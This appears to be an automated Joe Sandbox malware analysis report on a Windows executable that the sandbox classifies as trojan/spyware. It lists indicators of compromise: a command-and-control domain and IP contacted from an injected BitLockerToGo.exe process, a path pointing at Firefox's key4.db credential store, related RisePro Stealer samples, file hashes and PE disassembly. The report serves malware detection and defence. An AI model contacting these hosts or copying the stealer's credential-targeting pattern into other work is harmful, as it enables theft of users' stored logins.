https://shatterbreathepsw.shop:443/api-release/key4.dbPK	BitLockerToGo.exe, 00000005.00000003.2531309021.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2532039828.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2490547443.0000000002F0A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000005.00000003.2389832770.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://shatterbreathepsw.shop:443/api	BitLockerToGo.exe, 00000005.00000003.2531309021.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2420113247.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2397981986.0000000002E93000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2463146392.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2389056869.0000000002E93000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2532039828.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2483801676.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2418852252.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2470403875.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2483094012.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2490547443.0000000002F0A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2419343297.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2418983675.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://shatterbreathepsw.shop/w6	BitLockerToGo.exe, 00000005.00000003.2420113247.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2418852252.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2419343297.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2418983675.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BitLockerToGo.exe, 00000005.00000003.2389832770.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://shatterbreathepsw.shop/apii	BitLockerToGo.exe, 00000005.00000003.2397981986.0000000002E93000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2398248173.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://shatterbreathepsw.shop:443/apirosoft	BitLockerToGo.exe, 00000005.00000003.2490547443.0000000002F0A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://.css	file.exe	false	Avira URL Cloud: safe	low
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://shatterbreathepsw.shop/0	BitLockerToGo.exe, 00000005.00000003.2462485236.0000000002F41000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2397981986.0000000002E7B000.00000004.00000020.00020000.00000000.sdmp	false	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://shatterbreathepsw.shop/apiar	BitLockerToGo.exe, 00000005.00000003.2389056869.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://shatterbreathepsw.shop/apihort	BitLockerToGo.exe, 00000005.00000002.2531924515.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://shatterbreathepsw.shop/&6	BitLockerToGo.exe, 00000005.00000003.2470403875.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	BitLockerToGo.exe, 00000005.00000003.2421315426.000000000526D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	BitLockerToGo.exe, 00000005.00000003.2421315426.000000000526D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BitLockerToGo.exe, 00000005.00000003.2389832770.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://manage.windowsazure.us/publishsettings/indexMaximum	file.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://management.chinacloudapi.cntoo	file.exe	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	BitLockerToGo.exe, 00000005.00000003.2454550554.0000000005385000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shatterbreathepsw.shop/apiT	BitLockerToGo.exe, 00000005.00000003.2462610333.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp	false	16%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://.jpg	file.exe	false	Avira URL Cloud: safe	low
https://www.mozilla.or	BitLockerToGo.exe, 00000005.00000003.2462415774.000000000526A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://datalake.azure.net/https://api.loganalytics.iohttps://graph.microsoft.us/https://api.loganal	file.exe	false		high
https://manage.windowsazure.com/publishsettings/indexnon-CONNECT	file.exe	false		high
https://shatterbreathepsw.shop/D7	BitLockerToGo.exe, 00000005.00000003.2398142344.0000000002F11000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2397680492.0000000002F11000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2398470292.0000000002F11000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2397264679.0000000002F11000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BitLockerToGo.exe, 00000005.00000003.2389832770.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://shatterbreathepsw.shop/?6a	BitLockerToGo.exe, 00000005.00000003.2470403875.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://shatterbreathepsw.shop/~6	BitLockerToGo.exe, 00000005.00000003.2420113247.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2418852252.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2419343297.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2418983675.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000005.00000003.2389832770.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://shatterbreathepsw.shop/y7	BitLockerToGo.exe, 00000005.00000003.2398142344.0000000002F11000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2397680492.0000000002F11000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2397264679.0000000002F11000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	BitLockerToGo.exe, 00000005.00000003.2421315426.000000000526D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gallery.azure.com/https://graph.windows.net/mariadb.database.azure.comhttps://storage.azure.	file.exe	false		high
http://ocsp.rootca1.amazontrust.com0:	BitLockerToGo.exe, 00000005.00000003.2421315426.000000000526D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vault.azure.net/mysql.database.azure.comhttps://cosmos.azure.comjson:	file.exe	false		high
https://www.ecosia.org/newtab/	BitLockerToGo.exe, 00000005.00000003.2389832770.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BitLockerToGo.exe, 00000005.00000003.2454550554.0000000005385000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	BitLockerToGo.exe, 00000005.00000003.2389832770.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.core.usgovcloudapi.net/https://dev.azuresynapse.usgovcloudapi.netbad	file.exe	false		high
https://shatterbreathepsw.shop/	BitLockerToGo.exe, 00000005.00000003.2490547443.0000000002F0A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2419343297.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2418983675.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://database.usgovcloudapi.net/unsupported	file.exe	false		high
https://shatterbreathepsw.shop/apizen	BitLockerToGo.exe, 00000005.00000003.2470610228.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2419422712.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2462610333.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	BitLockerToGo.exe, 00000005.00000003.2421315426.000000000526D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://protobuf.dev/reference/go/faq#namespace-conflictLZMA	file.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BitLockerToGo.exe, 00000005.00000003.2389832770.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	BitLockerToGo.exe, 00000005.00000003.2462513783.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://manage.chinacloudapi.com/publishsettings/indexhttps://manage.microsoftazure.de/publishsettin	file.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://management.azure.com/https://managedhsm.azure.net/https://servicebus.azure.net/https://datab	file.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.95.19	shatterbreathepsw.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1435406
Start date and time:	2024-05-02 17:03:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@1/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 53% Number of executed functions: 34 Number of non-executed functions: 57
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 420 because there are no executed function
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:04:22	API Interceptor	8x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://gamma.app/docs/Untitled-9umekc4egyknsob	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://pot.soundestlink.com/ce/c/6632d4bee95a733e5b11f90c/66336ffc6318519b93081379/663370167f943a5ca8cda723?signature=f078b55518dec9be5687b83cc67125e09d569e23f92457525770ae31d9667613	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	172.67.129.30
	oO2wHSVFJM.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	9d565bee-e6ce-1842-e729-b0df8f08ed34.eml	Get hash	malicious	HTMLPhisher	Browse	172.64.41.3
	http://jimdo-storage.global.ssl.fastly.net/file/a45fef49-77a5-4e4b-b081-f19dd1b9626e/b0aa30c8-07ba-4acf-a6e6-856aaa7da320.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3
	http://jimdo-storage.global.ssl.fastly.net/file/a45fef49-77a5-4e4b-b081-f19dd1b9626e/b0aa30c8-07ba-4acf-a6e6-856aaa7da320.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3
	http://jimdo-storage.global.ssl.fastly.net/file/a45fef49-77a5-4e4b-b081-f19dd1b9626e/b0aa30c8-07ba-4acf-a6e6-856aaa7da320.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3
	http://jimdo-storage.global.ssl.fastly.net/file/a45fef49-77a5-4e4b-b081-f19dd1b9626e/b0aa30c8-07ba-4acf-a6e6-856aaa7da320.pdf	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://za.zalo.me/v3/verifyv2/pc?token=OcNsmjfpL0XY2F3BtHzNRs4A-hhQ5q5sPXtbk3O&continue=liderlerokulu%E3%80%82com/smc/wzu/dmFsZXJpZS5wZWNyZXNzZUBpbGVkZWZyYW5jZS5mcg==$	Get hash	malicious	Fake Captcha	Browse	1.1.1.1
	https://za.zalo.me/v3/verifyv2/pc?token=OcNsmjfpL0XY2F3BtHzNRs4A-hhQ5q5sPXtbk3O&continue=liderlerokulu%E3%80%82com/smc/wzu/dmFsZXJpZS5wZWNyZXNzZUBpbGVkZWZyYW5jZS5mcg==$	Get hash	malicious	Fake Captcha	Browse	1.1.1.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	oO2wHSVFJM.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.95.19
	4yFaZU8fhT.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.95.19
	RY5YJaMEWE.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.95.19
	MejqsB9tx9.exe	Get hash	malicious	Amadey	Browse	104.21.95.19
	OUZXNOqKXg.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.95.19
	0BzQNa8hYd.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.95.19
	3CkMJ4UkNy.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.95.19
	Notice.xls	Get hash	malicious	Unknown	Browse	104.21.95.19
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.95.19
	SecuriteInfo.com.Win32.PWSX-gen.8803.13656.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.95.19

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.375467626107391
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	file.exe
File size:	9'048'064 bytes
MD5:	7e37f8c945d005226870e60aa2baea93
SHA1:	d8a457a032ead8cc0d692efd497914e8cc69e8a4
SHA256:	d130f492c40697a34e2d1e7b1e9a5e3ba37c7f6b4271271fba6b5c1e9048af8b
SHA512:	d6dfcbd1f7bca1e712bdb184a27c5a06eb1073f03529fd6be9ed2cd231e4906edf9c7bb6fd89453a7e062cc317e4655b19825fdbf7a32d0f2c3ac3ef4bc2f8d6
SSDEEP:	98304:MF3gRcZz6mXSsz06DoWy0hSEVBhG/Y6Pv:IdN6mXSsFo7i/VB9w
TLSH:	35964907ECA148E8C5EDD534866A8222BB727C484B3167D72B60F7782F76BD06E79350
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................$.^:......^.............@....................................C.....`... ............................

File Icon


Icon Hash:	0f23493905039619

Static PE Info

General

Entrypoint:	0x1400014c0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x4039b680, 0x1, 0x4039b650, 0x1, 0x4039f0f0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	c595f1660e1a3c84f4d9b0761d23cd7a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [0086D9B5h]
mov dword ptr [eax], 00000001h
call 00007EFCBC8017CFh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [0086D995h]
mov dword ptr [eax], 00000000h
call 00007EFCBC8017AFh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
call 00007EFCBCBA6A6Ch
dec eax
test eax, eax
sete al
movzx eax, al
neg eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007EFCBC801AE9h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword ptr [eax]
inc edi
outsd
and byte ptr [edx+75h], ah
imul ebp, dword ptr [esp+20h], 203A4449h
and dh, byte ptr [eax]
xor cl, byte ptr [bp+66h]
imul ebx, dword ptr [eax+78h], 79483071h
xor dword ptr [esi+38h], ecx
je 00007EFCBC801B89h
push eax
push edx
sub eax, 3979542Fh
xor dword ptr [eax+69h], edi
je 00007EFCBC801B53h
xor al, byte ptr [esi+71h]
cmp dword ptr [ebp+49h], ebp
inc edi
cmp byte ptr [ebp+31h], dl
inc esi
jnc 00007EFCBC801B41h
jne 00007EFCBC801B3Fh
inc ebx
insd
aaa
push 66635765h
dec ebx
pop edi

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x91e000	0x4e	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x91f000	0x1458	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x923000	0x4f60	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x870000	0x162fc	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x928000	0x153b0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x86e7e0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x91f494	0x458	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3a5c20	0x3a5e00	f8cc0bdff922743288e937a3961a4dbc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x3a7000	0x823d0	0x82400	06d43a969a86f3483b3c599124c2ac8a	False	0.3443179432581574	dBase III DBT, version number 0, next free block index 10, 1st item "dep\011github.com/Azure/azure-sdk-for-go/sdk/internal\011v1.0.0\011h1:jp0dGvZ7ZK0mgqnTSClMxa5xuRL7NZgHameVYF6BurY="	5.331801836131035	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x42a000	0x445610	0x445800	07d9bbc7b7c411e5ccc443da171444fc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.pdata	0x870000	0x162fc	0x16400	a2b812484ac5efec12dc248df379f18a	False	0.40337517556179775	data	5.675260072286768	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.xdata	0x887000	0xc50	0xe00	6ed8a8f76a224934b29fcbe34f6390b0	False	0.25864955357142855	data	3.989879659761562	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x888000	0x95de0	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x91e000	0x4e	0x200	aba40bd052310385c1f231195739ff36	False	0.08984375	data	0.6513844786319263	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.idata	0x91f000	0x1458	0x1600	b597ce457ec0e4b302a271cacfbfffa2	False	0.2975852272727273	data	4.351283065220556	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
